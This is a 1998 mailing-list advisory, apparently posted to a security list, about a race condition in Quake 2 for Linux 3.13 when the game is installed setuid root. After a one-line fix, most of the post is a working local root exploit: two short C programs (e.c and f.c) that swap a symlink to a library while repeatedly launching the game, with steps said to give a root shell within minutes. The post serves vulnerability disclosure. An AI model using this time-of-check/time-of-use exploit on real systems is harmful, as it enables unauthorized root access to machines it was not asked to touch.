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Quake 2 Linux 3.13 - ref_root.so still works


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X-RDate: Thu, 26 Feb 1998 14:24:22 +0500 (ESK)
Date: Wed, 25 Feb 1998 08:49:10 -0500
From: [email protected]
To: [email protected]
Subject: Quake 2 Linux 3.13 - ref_root.so still works

Vulnerable:
Everyone who followed the installation instructions and made Quake2 setuid
root.

Solution:
chmod u-s quake2.

Exploit:
In version 3.13, Quake2 trys to protect itself by checking the permissions
of a library before loading it.  This just introduces a race condition.

Simply find a file that is owned by root and has 0700
permissions, call ref_root.so ref_root.real.so, run e.c (./e
/usr/games/quake2/ref_soft.so &, for example)
in background, and then run f.c.  You'll have a root shell after a few
minutes.

e.c:
#include <unistd.h>

void main(int argc, char **argv) {
while(1) {
        unlink("ref_root.so");
        symlink(argv[1],"ref_root.so");
        unlink("ref_root.so");
        symlink("ref_root.real.so","ref_root.so");
}
}

f.c:
#include <stdlib.h>

void main() {
while (1) {
system("/usr/games/quake/quake2 +set vid_ref root");
}
}

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